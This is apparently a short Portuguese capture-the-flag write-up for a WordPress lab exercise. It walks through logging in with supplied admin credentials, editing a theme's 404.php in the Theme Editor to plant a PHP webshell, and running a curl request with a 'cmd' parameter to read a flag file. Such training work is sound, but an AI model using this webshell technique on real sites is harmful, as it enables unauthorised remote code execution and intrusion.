# Question

Use as credenciais do usuário administrador \[admin:sunshine1] e carregue um webshell para seu destino. Depois de ter acesso ao destino, obtenha o conteúdo do arquivo “flag.txt” no diretório inicial do diretório “wp-user”.



* Fazer login

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FZhnSPSAgg0Jo7mh76V2R%2Fimage.png?alt=media&#x26;token=9de1f3db-2e89-48a1-a037-9f1deb8bb3ad" alt=""><figcaption></figcaption></figure>

* Clique `Appearance`no painel lateral e selecione `Theme Editor`. Esta página nos permitirá editar o código-fonte PHP diretamente.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2Fxgvq914UZUdqClX1FpnH%2Fimage.png?alt=media&#x26;token=b7ae62da-9352-45e3-b000-461a37c2a8e9" alt=""><figcaption></figcaption></figure>

* Podemos validar que alcançamos o RCE inserindo o URL no navegador da web ou emitindo a `cURL`solicitação abaixo.

```
curl http://83.136.253.165:52285/wp-content/themes/twentyseventeen/404.php\?cmd\=cat+/home/wp-user/flag.txt
```
